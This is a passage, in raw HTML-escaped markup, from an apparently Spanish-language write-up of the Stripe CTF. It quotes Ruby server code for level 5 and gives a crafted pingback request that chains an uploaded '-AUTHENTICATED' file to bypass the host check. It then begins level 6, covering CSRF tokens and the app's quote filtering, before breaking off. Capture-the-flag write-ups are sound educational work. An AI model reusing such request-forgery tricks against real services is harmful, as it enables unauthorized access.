&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; host &lt;/span&gt;&lt;span class=&quot;pun&quot; style=&quot;color: #666600;&quot;&gt;=&lt;/span&gt;&lt;span class=&quot;pln&quot; style=&quot;color: black;&quot;&gt; session&lt;/span&gt;&lt;span class=&quot;pun&quot; style=&quot;color: #666600;&quot;&gt;[:&lt;/span&gt;&lt;span class=&quot;pln&quot; style=&quot;color: black;&quot;&gt;auth_host&lt;/span&gt;&lt;span class=&quot;pun&quot; style=&quot;color: #666600;&quot;&gt;]&lt;/span&gt;&lt;span class=&quot;pln&quot; style=&quot;color: black;&quot;&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; &lt;/span&gt;&lt;b&gt;&lt;span class=&quot;kwd&quot; style=&quot;color: #000088;&quot;&gt;if&lt;/span&gt;&lt;/b&gt;&lt;span class=&quot;pln&quot; style=&quot;color: black;&quot;&gt; user &lt;/span&gt;&lt;span class=&quot;pun&quot; style=&quot;color: #666600;&quot;&gt;&amp;amp;&amp;amp;&lt;/span&gt;&lt;span class=&quot;pln&quot; style=&quot;color: black;&quot;&gt; host
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; output &lt;/span&gt;&lt;span class=&quot;pun&quot; style=&quot;color: #666600;&quot;&gt;+=&lt;/span&gt;&lt;span class=&quot;pln&quot; style=&quot;color: black;&quot;&gt; &lt;/span&gt;&lt;span class=&quot;str&quot; style=&quot;color: #008800;&quot;&gt;&quot; You are authenticated as &lt;/span&gt;&lt;b&gt;&lt;span class=&quot;str&quot; style=&quot;color: #008800;&quot;&gt;#{&lt;/span&gt;&lt;/b&gt;&lt;span class=&quot;str&quot; style=&quot;color: #008800;&quot;&gt;user&lt;/span&gt;&lt;b&gt;&lt;span class=&quot;str&quot; style=&quot;color: #008800;&quot;&gt;}@#&lt;/span&gt;&lt;/b&gt;&lt;span class=&quot;str&quot; style=&quot;color: #008800;&quot;&gt;{host&lt;/span&gt;&lt;b&gt;&lt;span class=&quot;str&quot; style=&quot;color: #008800;&quot;&gt;}&lt;/span&gt;&lt;/b&gt;&lt;span class=&quot;str&quot; style=&quot;color: #008800;&quot;&gt;. 

&quot;&lt;/span&gt;&lt;span class=&quot;pln&quot; style=&quot;color: black;&quot;&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; &lt;/span&gt;&lt;b&gt;&lt;span class=&quot;kwd&quot; style=&quot;color: #000088;&quot;&gt;if&lt;/span&gt;&lt;/b&gt;&lt;span class=&quot;pln&quot; style=&quot;color: black;&quot;&gt; host &lt;/span&gt;&lt;span class=&quot;pun&quot; style=&quot;color: #666600;&quot;&gt;=~&lt;/span&gt;&lt;span class=&quot;pln&quot; style=&quot;color: black;&quot;&gt; &lt;/span&gt;&lt;b&gt;&lt;span class=&quot;pln&quot; style=&quot;color: black;&quot;&gt;PASSWORD_HOSTS&lt;/span&gt;&lt;/b&gt;&lt;span class=&quot;pln&quot; style=&quot;color: black;&quot;&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; output &lt;/span&gt;&lt;span class=&quot;pun&quot; style=&quot;color: #666600;&quot;&gt;+=&lt;/span&gt;&lt;span class=&quot;pln&quot; style=&quot;color: black;&quot;&gt; &lt;/span&gt;&lt;span class=&quot;str&quot; style=&quot;color: #008800;&quot;&gt;&quot; Since you&#39;re a user of a password host and all,&quot;&lt;/span&gt;&lt;span class=&quot;pln&quot; style=&quot;color: black;&quot;&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; output &lt;/span&gt;&lt;span class=&quot;pun&quot; style=&quot;color: #666600;&quot;&gt;+=&lt;/span&gt;&lt;span class=&quot;pln&quot; style=&quot;color: black;&quot;&gt; &lt;/span&gt;&lt;span class=&quot;str&quot; style=&quot;color: #008800;&quot;&gt;&quot; you deserve to know this password: &lt;/span&gt;&lt;b&gt;&lt;span class=&quot;str&quot; style=&quot;color: #008800;&quot;&gt;#{PASSWORD} &lt;/span&gt;&lt;/b&gt;&lt;span class=&quot;str&quot; style=&quot;color: #008800;&quot;&gt;

&quot;&lt;/span&gt;&lt;span class=&quot;pln&quot; style=&quot;color: black;&quot;&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; &lt;/span&gt;&lt;b&gt;&lt;span class=&quot;kwd&quot; style=&quot;color: #000088;&quot;&gt;end&lt;/span&gt;&lt;span class=&quot;pln&quot; style=&quot;color: black;&quot;&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; &lt;/span&gt;&lt;span class=&quot;kwd&quot; style=&quot;color: #000088;&quot;&gt;end&lt;/span&gt;&lt;/b&gt;&lt;span class=&quot;pln&quot; style=&quot;color: black;&quot;&gt;

&lt;/span&gt;&lt;span class=&quot;com&quot; style=&quot;color: #880000;&quot;&gt;# Run with the production file on the server&lt;/span&gt;&lt;span class=&quot;pln&quot; style=&quot;color: black;&quot;&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;b&gt;&lt;span class=&quot;pln&quot; style=&quot;color: black;&quot;&gt; &lt;/span&gt;&lt;span class=&quot;kwd&quot; style=&quot;color: #000088;&quot;&gt;if&lt;/span&gt;&lt;span class=&quot;pln&quot; style=&quot;color: black;&quot;&gt; &lt;/span&gt;&lt;span class=&quot;typ&quot; style=&quot;color: #660066;&quot;&gt;File&lt;/span&gt;&lt;/b&gt;&lt;span class=&quot;pun&quot; style=&quot;color: #666600;&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;pln&quot; style=&quot;color: black;&quot;&gt;exists&lt;/span&gt;&lt;span class=&quot;pun&quot; style=&quot;color: #666600;&quot;&gt;?(&lt;/span&gt;&lt;span class=&quot;str&quot; style=&quot;color: #008800;&quot;&gt;&#39;production&#39;&lt;/span&gt;&lt;span class=&quot;pun&quot; style=&quot;color: #666600;&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;pln&quot; style=&quot;color: black;&quot;&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; &lt;/span&gt;&lt;b&gt;&lt;span class=&quot;pln&quot; style=&quot;color: black;&quot;&gt;PASSWORD_HOSTS&lt;/span&gt;&lt;/b&gt;&lt;span class=&quot;pln&quot; style=&quot;color: black;&quot;&gt; &lt;/span&gt;&lt;span class=&quot;pun&quot; style=&quot;color: #666600;&quot;&gt;=&lt;/span&gt;&lt;span class=&quot;pln&quot; style=&quot;color: black;&quot;&gt; &lt;/span&gt;&lt;span class=&quot;str&quot; style=&quot;color: #008800;&quot;&gt;/^level05-\d+\.stripe-ctf\.com$/&lt;/span&gt;&lt;span class=&quot;pln&quot; style=&quot;color: black;&quot;&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;b&gt;&lt;span class=&quot;pln&quot; style=&quot;color: black;&quot;&gt; ALLOWED_HOSTS &lt;/span&gt;&lt;/b&gt;&lt;span class=&quot;pun&quot; style=&quot;color: #666600;&quot;&gt;=&lt;/span&gt;&lt;span class=&quot;pln&quot; style=&quot;color: black;&quot;&gt; &lt;/span&gt;&lt;span class=&quot;str&quot; style=&quot;color: #008800;&quot;&gt;/\.stripe-ctf\.com$/&lt;/span&gt;&lt;span class=&quot;pln&quot; style=&quot;color: black;&quot;&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp; &lt;/span&gt;&lt;b&gt;&lt;span class=&quot;kwd&quot; style=&quot;color: #000088;&quot;&gt;else&lt;/span&gt;&lt;/b&gt;&lt;span class=&quot;pln&quot; style=&quot;color: black;&quot;&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; &lt;/span&gt;&lt;b&gt;&lt;span class=&quot;pln&quot; style=&quot;color: black;&quot;&gt;PASSWORD_HOSTS&lt;/span&gt;&lt;/b&gt;&lt;span class=&quot;pln&quot; style=&quot;color: black;&quot;&gt; &lt;/span&gt;&lt;span class=&quot;pun&quot; style=&quot;color: #666600;&quot;&gt;=&lt;/span&gt;&lt;span class=&quot;pln&quot; style=&quot;color: black;&quot;&gt; &lt;/span&gt;&lt;span class=&quot;str&quot; style=&quot;color: #008800;&quot;&gt;/^localhost$/&lt;/span&gt;&lt;span class=&quot;pln&quot; style=&quot;color: black;&quot;&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; &lt;/span&gt;&lt;b&gt;&lt;span class=&quot;pln&quot; style=&quot;color: black;&quot;&gt;ALLOWED_HOSTS&lt;/span&gt;&lt;/b&gt;&lt;span class=&quot;pln&quot; style=&quot;color: black;&quot;&gt; &lt;/span&gt;&lt;span class=&quot;pun&quot; style=&quot;color: #666600;&quot;&gt;=&lt;/span&gt;&lt;span class=&quot;pln&quot; style=&quot;color: black;&quot;&gt; &lt;/span&gt;&lt;span class=&quot;com&quot; style=&quot;color: #880000;&quot;&gt;//&lt;/span&gt;&lt;span class=&quot;pln&quot; style=&quot;color: black;&quot;&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp; &lt;/span&gt;&lt;b&gt;&lt;span class=&quot;kwd&quot; style=&quot;color: #000088;&quot;&gt;end&lt;/span&gt;&lt;/b&gt;&lt;/span&gt;&lt;/span&gt;&lt;/pre&gt;
&lt;span style=&quot;background-color: white; color: #333333; font-family: Verdana, sans-serif; font-size: 14px; line-height: 22.390625px;&quot;&gt;&lt;span style=&quot;font-size: x-small;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&quot;background-color: white; color: #333333; font-family: Arial; font-size: 14px; line-height: 22.390625px;&quot;&gt;&lt;/span&gt;&lt;span style=&quot;background-color: white; color: #333333; font-family: Verdana, sans-serif; font-size: 14px; line-height: 22.390625px;&quot;&gt;&lt;span style=&quot;font-size: x-small;&quot;&gt;Por lo tanto, hosts tiene que seguir el patrón /^level05-\d+\.stripe-ctf\.com$/&lt;/span&gt;&lt;/span&gt;&lt;br style=&quot;background-color: white; color: #333333; font-family: Arial; font-size: 14px; line-height: 22.390625px;&quot; /&gt;&lt;span style=&quot;background-color: white; color: #333333; font-family: Verdana, sans-serif; font-size: 14px; line-height: 22.390625px;&quot;&gt;&lt;span style=&quot;font-size: x-small;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&quot;background-color: white; color: #333333; font-family: Arial; font-size: 14px; line-height: 22.390625px;&quot;&gt;&lt;/span&gt;&lt;span style=&quot;background-color: white; color: #333333; font-family: Verdana, sans-serif; font-size: 14px; line-height: 22.390625px;&quot;&gt;&lt;span style=&quot;font-size: x-small;&quot;&gt;Para asignar un valor a la variable host:&lt;/span&gt;&lt;/span&gt;&lt;br style=&quot;background-color: white; color: #333333; font-family: Arial; font-size: 14px; line-height: 22.390625px;&quot; /&gt;&lt;pre class=&quot;prettyprint prettyprinted&quot; style=&quot;background-color: white; border: 1px solid rgb(136, 136, 136); color: #333333; font-size: 14px; line-height: 22.390625px; overflow: auto; padding: 2px;&quot;&gt;&lt;span style=&quot;font-family: Verdana, sans-serif;&quot;&gt;&lt;span style=&quot;font-size: x-small;&quot;&gt;&lt;b&gt;&lt;span class=&quot;kwd&quot; style=&quot;color: #000088;&quot;&gt;if&lt;/span&gt;&lt;span class=&quot;pln&quot; style=&quot;color: black;&quot;&gt; &lt;/span&gt;&lt;/b&gt;&lt;span class=&quot;pln&quot; style=&quot;color: black;&quot;&gt;authenticated&lt;/span&gt;&lt;span class=&quot;pun&quot; style=&quot;color: #666600;&quot;&gt;?(&lt;/span&gt;&lt;span class=&quot;pln&quot; style=&quot;color: black;&quot;&gt;body&lt;/span&gt;&lt;span class=&quot;pun&quot; style=&quot;color: #666600;&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;pln&quot; style=&quot;color: black;&quot;&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; session&lt;/span&gt;&lt;span class=&quot;pun&quot; style=&quot;color: #666600;&quot;&gt;[:&lt;/span&gt;&lt;span class=&quot;pln&quot; style=&quot;color: black;&quot;&gt;auth_user&lt;/span&gt;&lt;span class=&quot;pun&quot; style=&quot;color: #666600;&quot;&gt;]&lt;/span&gt;&lt;span class=&quot;pln&quot; style=&quot;color: black;&quot;&gt; &lt;/span&gt;&lt;span class=&quot;pun&quot; style=&quot;color: #666600;&quot;&gt;=&lt;/span&gt;&lt;span class=&quot;pln&quot; style=&quot;color: black;&quot;&gt; username
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; session&lt;/span&gt;&lt;span class=&quot;pun&quot; style=&quot;color: #666600;&quot;&gt;[:&lt;/span&gt;&lt;span class=&quot;pln&quot; style=&quot;color: black;&quot;&gt;auth_host&lt;/span&gt;&lt;span class=&quot;pun&quot; style=&quot;color: #666600;&quot;&gt;]&lt;/span&gt;&lt;span class=&quot;pln&quot; style=&quot;color: black;&quot;&gt; &lt;/span&gt;&lt;span class=&quot;pun&quot; style=&quot;color: #666600;&quot;&gt;=&lt;/span&gt;&lt;span class=&quot;pln&quot; style=&quot;color: black;&quot;&gt; host
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; &lt;/span&gt;&lt;b&gt;&lt;span class=&quot;kwd&quot; style=&quot;color: #000088;&quot;&gt;return&lt;/span&gt;&lt;/b&gt;&lt;span class=&quot;pln&quot; style=&quot;color: black;&quot;&gt; &lt;/span&gt;&lt;span class=&quot;str&quot; style=&quot;color: #008800;&quot;&gt;&quot;Remote server responded with: &lt;/span&gt;&lt;b&gt;&lt;span class=&quot;str&quot; style=&quot;color: #008800;&quot;&gt;#{&lt;/span&gt;&lt;/b&gt;&lt;span class=&quot;str&quot; style=&quot;color: #008800;&quot;&gt;body&lt;/span&gt;&lt;b&gt;&lt;span class=&quot;str&quot; style=&quot;color: #008800;&quot;&gt;}&lt;/span&gt;&lt;/b&gt;&lt;span class=&quot;str&quot; style=&quot;color: #008800;&quot;&gt;.&quot;&lt;/span&gt;&lt;span class=&quot;pln&quot; style=&quot;color: black;&quot;&gt; \
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; &lt;/span&gt;&lt;span class=&quot;str&quot; style=&quot;color: #008800;&quot;&gt;&quot; Authenticated as &lt;/span&gt;&lt;b&gt;&lt;span class=&quot;str&quot; style=&quot;color: #008800;&quot;&gt;#{&lt;/span&gt;&lt;/b&gt;&lt;span class=&quot;str&quot; style=&quot;color: #008800;&quot;&gt;username&lt;/span&gt;&lt;b&gt;&lt;span class=&quot;str&quot; style=&quot;color: #008800;&quot;&gt;}&lt;/span&gt;&lt;/b&gt;&lt;span class=&quot;str&quot; style=&quot;color: #008800;&quot;&gt;@&lt;/span&gt;&lt;b&gt;&lt;span class=&quot;str&quot; style=&quot;color: #008800;&quot;&gt;#{&lt;/span&gt;&lt;/b&gt;&lt;span class=&quot;str&quot; style=&quot;color: #008800;&quot;&gt;host&lt;/span&gt;&lt;b&gt;&lt;span class=&quot;str&quot; style=&quot;color: #008800;&quot;&gt;}&lt;/span&gt;&lt;/b&gt;&lt;span class=&quot;str&quot; style=&quot;color: #008800;&quot;&gt;!&quot;&lt;/span&gt;&lt;span class=&quot;pln&quot; style=&quot;color: black;&quot;&gt;

se debe cumplir &lt;/span&gt;&lt;span class=&quot;pun&quot; style=&quot;color: #666600;&quot;&gt;“&lt;/span&gt;&lt;b&gt;&lt;span class=&quot;kwd&quot; style=&quot;color: #000088;&quot;&gt;if&lt;/span&gt;&lt;/b&gt;&lt;span class=&quot;pln&quot; style=&quot;color: black;&quot;&gt; authenticated&lt;/span&gt;&lt;span class=&quot;pun&quot; style=&quot;color: #666600;&quot;&gt;?(&lt;/span&gt;&lt;span class=&quot;pln&quot; style=&quot;color: black;&quot;&gt;body&lt;/span&gt;&lt;span class=&quot;pun&quot; style=&quot;color: #666600;&quot;&gt;)”&lt;/span&gt;&lt;span class=&quot;pln&quot; style=&quot;color: black;&quot;&gt;
&lt;/span&gt;&lt;b&gt;&lt;span class=&quot;kwd&quot; style=&quot;color: #000088;&quot;&gt;def&lt;/span&gt;&lt;span class=&quot;pln&quot; style=&quot;color: black;&quot;&gt; authenticated&lt;/span&gt;&lt;span class=&quot;pun&quot; style=&quot;color: #666600;&quot;&gt;?&lt;/span&gt;&lt;/b&gt;&lt;span class=&quot;pun&quot; style=&quot;color: #666600;&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;pln&quot; style=&quot;color: black;&quot;&gt;body&lt;/span&gt;&lt;span class=&quot;pun&quot; style=&quot;color: #666600;&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;pln&quot; style=&quot;color: black;&quot;&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; body &lt;/span&gt;&lt;span class=&quot;pun&quot; style=&quot;color: #666600;&quot;&gt;=~&lt;/span&gt;&lt;span class=&quot;pln&quot; style=&quot;color: black;&quot;&gt; &lt;/span&gt;&lt;span class=&quot;pun&quot; style=&quot;color: #666600;&quot;&gt;/[^&lt;/span&gt;&lt;span class=&quot;pln&quot; style=&quot;color: black;&quot;&gt;\w&lt;/span&gt;&lt;span class=&quot;pun&quot; style=&quot;color: #666600;&quot;&gt;]&lt;/span&gt;&lt;span class=&quot;pln&quot; style=&quot;color: black;&quot;&gt;AUTHENTICATED&lt;/span&gt;&lt;span class=&quot;pun&quot; style=&quot;color: #666600;&quot;&gt;[^&lt;/span&gt;&lt;span class=&quot;pln&quot; style=&quot;color: black;&quot;&gt;\w&lt;/span&gt;&lt;span class=&quot;pun&quot; style=&quot;color: #666600;&quot;&gt;]*&lt;/span&gt;&lt;span class=&quot;pln&quot; style=&quot;color: black;&quot;&gt;$&lt;/span&gt;&lt;span class=&quot;pun&quot; style=&quot;color: #666600;&quot;&gt;/&lt;/span&gt;&lt;span class=&quot;pln&quot; style=&quot;color: black;&quot;&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp; &lt;/span&gt;&lt;b&gt;&lt;span class=&quot;kwd&quot; style=&quot;color: #000088;&quot;&gt;end&lt;/span&gt;&lt;/b&gt;&lt;/span&gt;&lt;/span&gt;&lt;/pre&gt;
&lt;span style=&quot;background-color: white; color: #333333; font-family: Verdana, sans-serif; font-size: 14px; line-height: 22.390625px;&quot;&gt;&lt;span style=&quot;font-size: x-small;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&quot;background-color: white; color: #333333; font-family: Arial; font-size: 14px; line-height: 22.390625px;&quot;&gt;&lt;/span&gt;&lt;span style=&quot;background-color: white; color: #333333; font-family: Verdana, sans-serif; font-size: 14px; line-height: 22.390625px;&quot;&gt;&lt;span style=&quot;font-size: x-small;&quot;&gt;Después de esto el objetivo es conseguir que al hacer una petición la variable hosts cumpla el patrón anterior. Por la descripción sabemos que la máquina solo puede hacer peticiones a servidores con dominio stripe-ctf.com, por lo que usaremos el servidor del nivel 2 para subir un fichero con el texto “-AUTHENTICATED”.&lt;/span&gt;&lt;/span&gt;&lt;br style=&quot;background-color: white; color: #333333; font-family: Arial; font-size: 14px; line-height: 22.390625px;&quot; /&gt;&lt;span style=&quot;background-color: white; color: #333333; font-family: Verdana, sans-serif; font-size: 14px; line-height: 22.390625px;&quot;&gt;&lt;span style=&quot;font-size: x-small;&quot;&gt;Finalmente se ejecutó una petición POST con:&lt;/span&gt;&lt;/span&gt;&lt;br style=&quot;background-color: white; color: #333333; font-family: Arial; font-size: 14px; line-height: 22.390625px;&quot; /&gt;&lt;br style=&quot;background-color: white; color: #333333; font-family: Arial; font-size: 14px; line-height: 22.390625px;&quot; /&gt;&lt;pre class=&quot;prettyprint prettyprinted&quot; style=&quot;background-color: white; border: 1px solid rgb(136, 136, 136); color: #333333; font-size: 14px; line-height: 22.390625px; overflow: auto; padding: 2px;&quot;&gt;&lt;span style=&quot;font-family: Verdana, sans-serif;&quot;&gt;&lt;span style=&quot;font-size: x-small;&quot;&gt;&lt;span class=&quot;pln&quot; style=&quot;color: black;&quot;&gt;pingback&lt;/span&gt;&lt;span class=&quot;pun&quot; style=&quot;color: #666600;&quot;&gt;=&lt;/span&gt;&lt;span class=&quot;pln&quot; style=&quot;color: black;&quot;&gt;https&lt;/span&gt;&lt;span class=&quot;pun&quot; style=&quot;color: #666600;&quot;&gt;:&lt;/span&gt;&lt;span class=&quot;com&quot; style=&quot;color: #880000;&quot;&gt;//level05-1.stripe-ctf.com/user-ujgjbpdotv/?pingback=https://level02-2.stripe-ctf.com/user-uvgjkctugx/uploads/lvl5.txt&amp;amp;username=david&amp;amp;password=2 &lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/pre&gt;
&lt;span style=&quot;background-color: white; color: #333333; font-family: Verdana, sans-serif; font-size: 14px; line-height: 22.390625px;&quot;&gt;&lt;span style=&quot;font-size: x-small;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&quot;background-color: white; color: #333333; font-family: Arial; font-size: 14px; line-height: 22.390625px;&quot;&gt;&lt;/span&gt;&lt;span style=&quot;background-color: white; color: #333333; font-family: Arial; font-size: medium; line-height: 22.390625px;&quot;&gt;&lt;b&gt;&lt;span style=&quot;font-family: Verdana, sans-serif;&quot;&gt;Nivel 6:&lt;/span&gt;&lt;/b&gt;&lt;/span&gt;&lt;br style=&quot;background-color: white; color: #333333; font-family: Arial; font-size: 14px; line-height: 22.390625px;&quot; /&gt;&lt;br style=&quot;background-color: white; color: #333333; font-family: Arial; font-size: 14px; line-height: 22.390625px;&quot; /&gt;&lt;i style=&quot;background-color: white; color: #333333; font-family: Arial; font-size: 14px; line-height: 22.390625px;&quot;&gt;&lt;span style=&quot;font-family: Verdana, sans-serif;&quot;&gt;&lt;span style=&quot;font-size: x-small;&quot;&gt;After Karma Trader from Level 4 was hit with massive karma inflation (purportedly due to someone flooding the market with massive quantities of karma), the site had to close its doors. All hope was not lost, however, since the technology was acquired by a real up-and-comer, Streamer. Streamer is the self-proclaimed most steamlined way of sharing updates with your friends. You can access your Streamer instance here: https://level06-2.stripe-ctf.com/user-axbechwixy&lt;/span&gt;&lt;/span&gt;&lt;/i&gt;&lt;br style=&quot;background-color: white; color: #333333; font-family: Arial; font-size: 14px; line-height: 22.390625px;&quot; /&gt;&lt;i style=&quot;background-color: white; color: #333333; font-family: Arial; font-size: 14px; line-height: 22.390625px;&quot;&gt;&lt;span style=&quot;font-family: Verdana, sans-serif;&quot;&gt;&lt;span style=&quot;font-size: x-small;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&quot;font-family: Verdana, sans-serif;&quot;&gt;&lt;span style=&quot;font-size: x-small;&quot;&gt;The Streamer engineers, realizing that security holes had led to the demise of Karma Trader, have greatly beefed up the security of their application. Which is really too bad, because you&#39;ve learned that the holder of the password to access Level 7, level07-password-holder, is the first Streamer user.&lt;/span&gt;&lt;/span&gt;&lt;/i&gt;&lt;span style=&quot;background-color: white; color: #333333; font-family: Arial; font-size: 14px; line-height: 22.390625px;&quot;&gt;&amp;nbsp;&lt;/span&gt;&lt;br style=&quot;background-color: white; color: #333333; font-family: Arial; font-size: 14px; line-height: 22.390625px;&quot; /&gt;&lt;i style=&quot;background-color: white; color: #333333; font-family: Arial; font-size: 14px; line-height: 22.390625px;&quot;&gt;&lt;span style=&quot;font-family: Verdana, sans-serif;&quot;&gt;&lt;span style=&quot;font-size: x-small;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&quot;font-family: Verdana, sans-serif;&quot;&gt;&lt;span style=&quot;font-size: x-small;&quot;&gt;As well, level07-password-holder is taking a lot of precautions: his or her computer has no network access besides the Streamer server itself, and his or her password is a complicated mess, including quotes and apostrophes and the like.&lt;/span&gt;&lt;/span&gt;&lt;/i&gt;&lt;span style=&quot;background-color: white; color: #333333; font-family: Arial; font-size: 14px; line-height: 22.390625px;&quot;&gt;&amp;nbsp;&lt;/span&gt;&lt;br style=&quot;background-color: white; color: #333333; font-family: Arial; font-size: 14px; line-height: 22.390625px;&quot; /&gt;&lt;i style=&quot;background-color: white; color: #333333; font-family: Arial; font-size: 14px; line-height: 22.390625px;&quot;&gt;&lt;span style=&quot;font-family: Verdana, sans-serif;&quot;&gt;&lt;span style=&quot;font-size: x-small;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&quot;font-family: Verdana, sans-serif;&quot;&gt;&lt;span style=&quot;font-size: x-small;&quot;&gt;Fortunately for you, the Streamer engineers have decided to open-source their application so that other people can run their own Streamer instances. You can obtain the source for Streamer at git clone https://level06-2.stripe-ctf.com/user-axbechwixy/level06-code. We&#39;ve also included the most important files below.&lt;/span&gt;&lt;/span&gt;&lt;/i&gt;&lt;span style=&quot;background-color: white; color: #333333; font-family: Arial; font-size: 14px; line-height: 22.390625px;&quot;&gt;&amp;nbsp;&lt;/span&gt;&lt;br style=&quot;background-color: white; color: #333333; font-family: Arial; font-size: 14px; line-height: 22.390625px;&quot; /&gt;&lt;span style=&quot;background-color: white; color: #333333; font-family: Verdana, sans-serif; font-size: 14px; line-height: 22.390625px;&quot;&gt;&lt;span style=&quot;font-size: x-small;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&quot;background-color: white; color: #333333; font-family: Arial; font-size: 14px; line-height: 22.390625px;&quot;&gt;&lt;/span&gt;&lt;span style=&quot;background-color: white; color: #333333; font-family: Verdana, sans-serif; font-size: 14px; line-height: 22.390625px;&quot;&gt;&lt;span style=&quot;font-size: x-small;&quot;&gt;Tras leer la descripción, el objetivo está claro:&lt;/span&gt;&lt;/span&gt;&lt;br style=&quot;background-color: white; color: #333333; font-family: Arial; font-size: 14px; line-height: 22.390625px;&quot; /&gt;&lt;br style=&quot;background-color: white; color: #333333; font-family: Arial; font-size: 14px; line-height: 22.390625px;&quot; /&gt;&lt;span style=&quot;background-color: white; color: #333333; font-family: Verdana, sans-serif; font-size: 14px; line-height: 22.390625px;&quot;&gt;&lt;span style=&quot;font-size: x-small;&quot;&gt;Necesitamos que el usuario&amp;nbsp; level07-password-holder publique su contraseña en los mensajes. Sin embargo, esta vez para postear un mensaje hay que conocer un token no predecible para evitar ataques Cross-Site Request Forgery.&lt;/span&gt;&lt;/span&gt;&lt;br style=&quot;background-color: white; color: #333333; font-family: Arial; font-size: 14px; line-height: 22.390625px;&quot; /&gt;&lt;span style=&quot;background-color: white; color: #333333; font-family: Verdana, sans-serif; font-size: 14px; line-height: 22.390625px;&quot;&gt;&lt;span style=&quot;font-size: x-small;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&quot;background-color: white; color: #333333; font-family: Arial; font-size: 14px; line-height: 22.390625px;&quot;&gt;&lt;/span&gt;&lt;span style=&quot;background-color: white; color: #333333; font-family: Verdana, sans-serif; font-size: 14px; line-height: 22.390625px;&quot;&gt;&lt;span style=&quot;font-size: x-small;&quot;&gt;Revisando el código se ve que únicamente se está haciendo un filtrado de los caracteres &#39; y “:&lt;/span&gt;&lt;/span&gt;&lt;br style=&quot;background-color: white; color: #333333; font-family: Arial; font-size: 14px; line-height: 22.390625px;&quot; /&gt;&lt;pre class=&quot;prettyprint prettyprinted&quot; style=&quot;background-color: white; border: 1px solid rgb(136, 136, 136); color: #333333; font-size: 14px; line-height: 22.390625px; overflow: auto; padding: 2px;&quot;&gt;&lt;span style=&quot;font-family: Verdana, sans-serif;&quot;&gt;&lt;span style=&quot;font-size: x-small;&quot;&gt;&lt;span class=&quot;pln&quot; style=&quot;color: black;&quot;&gt;&amp;nbsp;&lt;/span&gt;&lt;b&gt;&lt;span class=&quot;kwd&quot; style=&quot;color: #000088;&quot;&gt;if&lt;/span&gt;&lt;/b&gt;&lt;span class=&quot;pln&quot; style=&quot;color: black;&quot;&gt; value&lt;/span&gt;&lt;span class=&quot;pun&quot; style=&quot;color: #666600;&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;pln&quot; style=&quot;color: black;&quot;&gt;kind_of&lt;/span&gt;&lt;span class=&quot;pun&quot; style=&quot;color: #666600;&quot;&gt;?(&lt;/span&gt;&lt;b&gt;&lt;span class=&quot;typ&quot; style=&quot;color: #660066;&quot;&gt;String&lt;/span&gt;&lt;/b&gt;&lt;span class=&quot;pun&quot; style=&quot;color: #666600;&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;pln&quot; style=&quot;color: black;&quot;&gt; &lt;/span&gt;&lt;span class=&quot;pun&quot; style=&quot;color: #666600;&quot;&gt;&amp;amp;&amp;amp;&lt;/span&gt;&lt;span class=&quot;pln&quot; style=&quot;color: black;&quot;&gt;
